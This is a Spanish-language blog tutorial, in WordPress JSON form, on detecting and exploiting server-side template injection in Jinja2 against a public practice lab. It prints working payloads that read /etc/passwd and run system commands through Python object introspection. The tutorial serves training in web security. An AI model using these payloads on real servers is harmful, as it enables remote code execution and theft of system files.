{"id":803,"date":"2021-07-16T11:40:14","date_gmt":"2021-07-16T10:40:14","guid":{"rendered":"https:\/\/infayer.com\/?p=803"},"modified":"2023-10-19T20:55:28","modified_gmt":"2023-10-19T19:55:28","slug":"explotando-la-inyeccion-de-plantillas-del-lado-del-servidor-ssti","status":"publish","type":"post","link":"https:\/\/infayer.com\/archivos\/803","title":{"rendered":"Explotando la Inyecci\u00f3n de plantillas del lado del servidor (SSTI)"},"content":{"rendered":"\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_01.png\" alt=\"\" class=\"wp-image-805\" width=\"304\" height=\"217\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_01.png 592w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_01-300x214.png 300w\" sizes=\"(max-width: 304px) 100vw, 304px\" \/><\/figure><\/div>\n\n\n<p>Las vulnerabilidades de <strong>SSTI<\/strong> (<em>Server Side Template Injection<\/em>) o como reza el t\u00edtulo en espa\u00f1ol &#8216;<strong>Inyecci\u00f3n de plantillas del lado del Servidor<\/strong>&#8216; es una de esas vulnerabilidades que m\u00e1s entretenidas se hacen de explotar y dado su alcance (<em>en muchos casos<\/em>), nos conducir\u00e1 a obtener un <strong>RCE<\/strong> (<em>Remote Code Execution<\/em>), lo que lo convierte en algo serio.<br>Bien, pues empezaremos introduciendo un poco el concepto y describiendo el vector m\u00e1s b\u00e1sico de detecci\u00f3n de esta vulnerabilidad. Para ello y antes de nada, no debo olvidar referenciar los siguientes enlaces en donde se detallan ampliamente de lo que trata esta vulnerabilidad:<\/p>\n\n\n\n<ul>\n<li><a href=\"https:\/\/portswigger.net\/research\/server-side-template-injection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/portswigger.net\/research\/server-side-template-injection<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/book.hacktricks.xyz\/pentesting-web\/ssti-server-side-template-injection\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/book.hacktricks.xyz\/pentesting-web\/ssti-server-side-template-injection<\/a><\/li>\n\n\n\n<li><a href=\"https:\/\/blog.cobalt.io\/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/blog.cobalt.io\/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68<\/a><\/li>\n<\/ul>\n\n\n\n<p>Para resumirlo r\u00e1pidamente, <strong>SSTI<\/strong> es una vulnerabilidad que aprovecha una implementaci\u00f3n insegura de un motor de plantillas (<em>template engine<\/em>). Los motores de plantilla son empleado por las aplicaciones web para la presentaci\u00f3n de datos din\u00e1micos.<br>Por lo general, a menudo muchas inserciones de los usuarios que son posteriormente reflejadas en la respuesta de la aplicaci\u00f3n web son interpretadas como vulnerabilidades de <strong>Cross-Site Scripting<\/strong> (<em>XSS<\/em>), sin embargo a trav\u00e9s del aprovechamiento de esta vulnerabilidad es posible atacar directamente a los componentes internos del servidor web del objetivo.<br>Algunos motores de plantilla populares son los siguientes:<\/p>\n\n\n\n<ul>\n<li><strong>PHP:<\/strong> Smarty, Twig<\/li>\n\n\n\n<li><strong>Java:<\/strong> Velocity, FreeMarker<\/li>\n\n\n\n<li><strong>Python:<\/strong> Jinja, Mako, Tornado<\/li>\n\n\n\n<li><strong>JavaScript:<\/strong> Jade, Rage<\/li>\n\n\n\n<li><strong>Ruby:<\/strong> Liquid<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Detecci\u00f3n<\/h2>\n\n\n\n<p>Para poder ver todo esto m\u00e1s claro, vamos a ir con un ejemplo pr\u00e1ctico. Para ello vamos a emplear el laboratorio de <strong><a href=\"http:\/\/ssti.samsclass.info:6060\/\" target=\"_blank\" rel=\"noreferrer noopener\">Sam Bown<\/a><\/strong>.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"999\" height=\"454\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_02.png\" alt=\"\" class=\"wp-image-806\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_02.png 999w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_02-300x136.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_02-768x349.png 768w\" sizes=\"(max-width: 999px) 100vw, 999px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>A trav\u00e9s de una primera comprobaci\u00f3n revisaremos la entrada de usuario \u00ab<em>Search Users here\u2026<\/em>\u00ab<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"672\" height=\"369\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_03.png\" alt=\"\" class=\"wp-image-807\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_03.png 672w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_03-300x165.png 300w\" sizes=\"(max-width: 672px) 100vw, 672px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Para mayor comodidad en las comprobaciones y revisar las peticiones enviadas y respuestas del servidor, nos pondremos con el <em>Repeater<\/em> de <strong>BurpSuite<\/strong>.<\/p>\n\n\n\n<p>Como parte de la metodolog\u00eda de actuaci\u00f3n en estos casos, vamos a tomar en cuenta el siguiente diagrama (<em>prestado de la gente de PortSwigger<\/em>), que nos permitir\u00e1 identificar el motor de plantilla empleado por esta aplicaci\u00f3n web.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"640\" height=\"386\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_04.png\" alt=\"\" class=\"wp-image-808\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_04.png 640w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_04-300x181.png 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Por tanto, trasladaremos estas comprobaciones a nuestro objetivo para identificar el motor de plantilla.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"793\" height=\"504\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_05.png\" alt=\"\" class=\"wp-image-809\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_05.png 793w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_05-300x191.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_05-768x488.png 768w\" sizes=\"(max-width: 793px) 100vw, 793px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"792\" height=\"505\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_06.png\" alt=\"\" class=\"wp-image-810\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_06.png 792w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_06-300x191.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_06-768x490.png 768w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"793\" height=\"506\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_07.png\" alt=\"\" class=\"wp-image-811\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_07.png 793w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_07-300x191.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_07-768x490.png 768w\" sizes=\"(max-width: 793px) 100vw, 793px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Despu\u00e9s de esta breve comprobaci\u00f3n tendremos resuelta la primera necesidad: conocer el motor de plantilla empleado por la aplicaci\u00f3n web, que en este caso se trata de <strong>Jinja2<\/strong>.<\/p>\n\n\n\n<p>Ser\u00e1 muy importante tener en cuenta la documentaci\u00f3n de este motor de plantilla: <a rel=\"noreferrer noopener\" href=\"https:\/\/jinja.palletsprojects.com\/en\/2.11.x\/\" target=\"_blank\">https:\/\/jinja.palletsprojects.com\/en\/2.11.x\/<\/a>. Adem\u00e1s de tomar en cuenta que este motor de plantilla tiene como base <strong>Python<\/strong>, lo que ser\u00e1 muy relevante a la hora de llamar a recursos de este lenguaje cuando pretendamos preparar una acci\u00f3n en el servidor destino, como por ejemplo: <em>ejecutar comandos del sistema<\/em>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Explotaci\u00f3n<\/h2>\n\n\n\n<p>Si bien sabemos que una de las formas m\u00e1s b\u00e1sicas de ejecutar comandos del sistema en <strong>Python<\/strong> es a trav\u00e9s de la siguiente manera:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import os\nos.system('id')<\/pre>\n\n\n\n<p>Debemos tomar en cuenta que <strong>Jinja2<\/strong> cuenta con algunas limitaciones, como la imposibilidad de declarar de forma directa <em>import<\/em>, por tanto esto anterior no nos ser\u00e1 v\u00e1lido. Vamos ha realizarlo a trav\u00e9s de una variante: revisando las clases de un objeto. Para esto emplearemos una cadena vac\u00eda que ir\u00e1 entre comillas simples, de la siguiente forma:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__ }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"793\" height=\"500\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_08.png\" alt=\"\" class=\"wp-image-812\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_08.png 793w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_08-300x189.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_08-768x484.png 768w\" sizes=\"(max-width: 793px) 100vw, 793px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Tomemos en cuenta que a nivel web esto se ver\u00eda as\u00ed:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"584\" height=\"352\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_09.png\" alt=\"\" class=\"wp-image-813\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_09.png 584w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_09-300x181.png 300w\" sizes=\"(max-width: 584px) 100vw, 584px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Sin embargo en adelante, nos centraremos en la vista que ofrece <strong>BurpSuite<\/strong>.<\/p>\n\n\n\n<p>Ahora valiendonos del atributo <code><strong>.__mro__<\/strong><\/code> revisaremos las posibilidades de saltar (<em>escalar<\/em>) por el \u00e1rbol de objetos.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__.__mro__ }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"792\" height=\"505\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_10.png\" alt=\"\" class=\"wp-image-814\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_10.png 792w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_10-300x191.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_10-768x490.png 768w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p><code><strong>.__mro__<\/strong><\/code> que viene de <em>Method Resolution Order<\/em>, nos devuelve una lista de tipos de los que se deriva la jerarqu\u00eda de clase, en el orden en que se buscan los m\u00e9todos.<\/p>\n\n\n\n<p>Por ahora nos centraremos en el tipo <em>Object<\/em>. Es decir en el tercer elemento mostrado, por tanto escribimos el <strong>n\u00famero 2<\/strong>. Se debe tomar en cuenta que en <strong>Python<\/strong> se empieza a contar desde el 0.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__.__mro__[2] }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"792\" height=\"502\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_11.png\" alt=\"\" class=\"wp-image-815\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_11.png 792w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_11-300x190.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_11-768x487.png 768w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Ya estando en la cima de la jerarqu\u00eda es momento de revisar las subclases, para ello nos valdremos de <code><strong>.__subclasses__()<\/strong><\/code>. Aqu\u00ed obtendremos toda la herencia de los atributos y m\u00e9todos de una clase. Lo que viene siendo un \u00ab<em>listadito guapo<\/em>\u00ab.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__.__mro__[2].__subclasses__() }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"792\" height=\"509\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_12.png\" alt=\"\" class=\"wp-image-816\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_12.png 792w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_12-300x193.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_12-768x494.png 768w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Como he comentado, el listado es amplio, ahora lo suyo es revisarlos todos.<br>A continuaci\u00f3n un \u00ab<em>truco<\/em>\u00bb que suelo emplear para dejarlo algo m\u00e1s manejable:<\/p>\n\n\n\n<blockquote class=\"wp-block-quote\">\n<p>A trav\u00e9s del <em>Intruder<\/em> de <strong>BurpSuite<\/strong> har\u00e9 un recorrido por todas las subclases mostradas.<br><code>{{ ''.__class__.__mro__[2].__subclasses__()[X] }}<\/code><br>En donde X ser\u00e1 una posici\u00f3n num\u00e9rica de la subclase.<\/p>\n<\/blockquote>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"707\" height=\"368\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_13.png\" alt=\"\" class=\"wp-image-817\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_13.png 707w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_13-300x156.png 300w\" sizes=\"(max-width: 707px) 100vw, 707px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>En la posici\u00f3n 40 se observa un tipo de m\u00e9todo interesante:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"686\" height=\"514\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_14.png\" alt=\"\" class=\"wp-image-818\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_14.png 686w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_14-300x225.png 300w\" sizes=\"(max-width: 686px) 100vw, 686px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Emplearemos este m\u00e9todo (<strong>file<\/strong>) para leer los archivos del sistema:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__.__mro__[2].__subclasses__()[40]('\/etc\/passwd').read() }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"794\" height=\"502\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_15.png\" alt=\"\" class=\"wp-image-819\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_15.png 794w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_15-300x190.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_15-768x486.png 768w\" sizes=\"(max-width: 794px) 100vw, 794px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Otro elemento que resulta interesante de considerar es el &#8216;<em>catch_warnings<\/em>&#8216;, este elemento (<em>gestor de contexto<\/em>) nos permitir\u00e1 identificar cuando la ejecuci\u00f3n de un determinado comando en el sistema se ha ejecutado de forma correcta o si por lo contrario ha arrojado alg\u00fan tipo de error.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{{ ''.__class__.__mro__[2].__subclasses__()[59] }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"685\" height=\"513\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_16.png\" alt=\"\" class=\"wp-image-820\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_16.png 685w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_16-300x225.png 300w\" sizes=\"(max-width: 685px) 100vw, 685px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Llegados a este punto nos valdremos del m\u00f3dulo &#8216;<em>builtins<\/em>&#8216; que nos permitir\u00e1 tomar acceso a todos los identificadores \u00ab<em>integrados<\/em>\u00bb de <strong>Python<\/strong>. Por tanto conformaremos la siguiente sentencia:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{% set loquesea = ''.__class__.__mro__[2].__subclasses__()[59] %}{{ loquesea()._module.__builtins__['__import__']('os').system(\"uname -a\") }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"795\" height=\"505\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_17.png\" alt=\"\" class=\"wp-image-821\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_17.png 795w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_17-300x191.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_17-768x488.png 768w\" sizes=\"(max-width: 795px) 100vw, 795px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Esto nos devolver\u00e1 el resultado esperado en caso de ser 0, si no fuese as\u00ed, ser\u00e1 indicativo que algo no ha resultado correcto en la operaci\u00f3n.<\/p>\n\n\n\n<p>Bien, ahora llega el momento de exfiltrar esta informaci\u00f3n y para ello enviaremos el resultado del comando ejecutado a alg\u00fan fichero temporal y posteriormente lo leeremos de la forma que ya hemos comentado l\u00edneas m\u00e1s arriba.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">{% set loquesea = ''.__class__.__mro__[2].__subclasses__()[59] %}{{ loquesea()._module.__builtins__['__import__']('os').system(\"uname -a > \/tmp\/result.txt\") }}{{ ''.__class__.__mro__[2].__subclasses__()[40]('\/tmp\/result.txt').read() }}<\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"792\" height=\"507\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_18.png\" alt=\"\" class=\"wp-image-822\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_18.png 792w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_18-300x192.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_18-768x492.png 768w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>A nivel web esta ser\u00e1 la presentaci\u00f3n:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"992\" height=\"422\" src=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_19.png\" alt=\"\" class=\"wp-image-823\" srcset=\"https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_19.png 992w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_19-300x128.png 300w, https:\/\/infayer.com\/wp-content\/uploads\/2021\/07\/ent_20210716_19-768x327.png 768w\" sizes=\"(max-width: 992px) 100vw, 992px\" \/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>Y bien, como he dicho al inicio, la cosa se pone entretenida en este punto, lo que se pueda hacer estar\u00e1 sujeto netamente a la creatividad de quien aproveche esta vulnerabilidad. Espero que os entre el gusanillo por indagar m\u00e1s sobre estas t\u00e9cnicas y variantes. Conmigo ser\u00e1 hasta la pr\u00f3xima entrada.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Referencias:<\/h2>\n\n\n\n<ul>\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/portswigger.net\/research\/server-side-template-injection\" target=\"_blank\">https:\/\/portswigger.net\/research\/server-side-template-injection<\/a><\/li>\n\n\n\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/book.hacktricks.xyz\/pentesting-web\/ssti-server-side-template-injection\" target=\"_blank\">https:\/\/book.hacktricks.xyz\/pentesting-web\/ssti-server-side-template-injection<\/a><\/li>\n\n\n\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/blog.cobalt.io\/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68\" target=\"_blank\">https:\/\/blog.cobalt.io\/a-pentesters-guide-to-server-side-template-injection-ssti-c5e3998eae68<\/a><\/li>\n\n\n\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/Server%20Side%20Template%20Injection\" target=\"_blank\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/Server%20Side%20Template%20Injection<\/a><\/li>\n\n\n\n<li>Web Security Academy: <a rel=\"noreferrer noopener\" href=\"https:\/\/portswigger.net\/web-security\/server-side-template-injection\" target=\"_blank\">https:\/\/portswigger.net\/web-security\/server-side-template-injection<\/a><\/li>\n\n\n\n<li>Charla en Black Hat: <a rel=\"noreferrer noopener\" href=\"https:\/\/youtu.be\/3cT0uE7Y87s\" target=\"_blank\">https:\/\/youtu.be\/3cT0uE7Y87s<\/a><\/li>\n\n\n\n<li>Laboratorio de TryHackMe: <a rel=\"noreferrer noopener\" href=\"https:\/\/tryhackme.com\/room\/learnssti\" target=\"_blank\">https:\/\/tryhackme.com\/room\/learnssti<\/a><\/li>\n\n\n\n<li>Laboratorio de Sam Bowne: <a rel=\"noreferrer noopener\" href=\"http:\/\/ssti.samsclass.info:6060\/\" target=\"_blank\">http:\/\/ssti.samsclass.info:6060\/<\/a><\/li>\n\n\n\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/DiogoMRSilva\/websitesVulnerableToSSTI\" target=\"_blank\">https:\/\/github.com\/DiogoMRSilva\/websitesVulnerableToSSTI<\/a><\/li>\n\n\n\n<li><a rel=\"noreferrer noopener\" href=\"https:\/\/jinja.palletsprojects.com\/en\/2.11.x\/\" target=\"_blank\">https:\/\/jinja.palletsprojects.com\/en\/2.11.x\/<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Las vulnerabilidades de SSTI (Server Side Template Injection) o como reza el t\u00edtulo en espa\u00f1ol &#8216;Inyecci\u00f3n de plantillas del lado del Servidor&#8217; es una de esas vulnerabilidades que m\u00e1s entretenidas se hacen de explotar y dado su alcance (en muchos casos), nos conducir\u00e1 a obtener un RCE (Remote Code Execution), lo que lo convierte en algo serio.<\/p>\n","protected":false},"author":3,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","footnotes":""},"categories":[12,1],"tags":[],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/803"}],"collection":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/comments?post=803"}],"version-history":[{"count":17,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/803\/revisions"}],"predecessor-version":[{"id":2617,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/posts\/803\/revisions\/2617"}],"wp:attachment":[{"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/media?parent=803"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/categories?post=803"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infayer.com\/wp-json\/wp\/v2\/tags?post=803"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}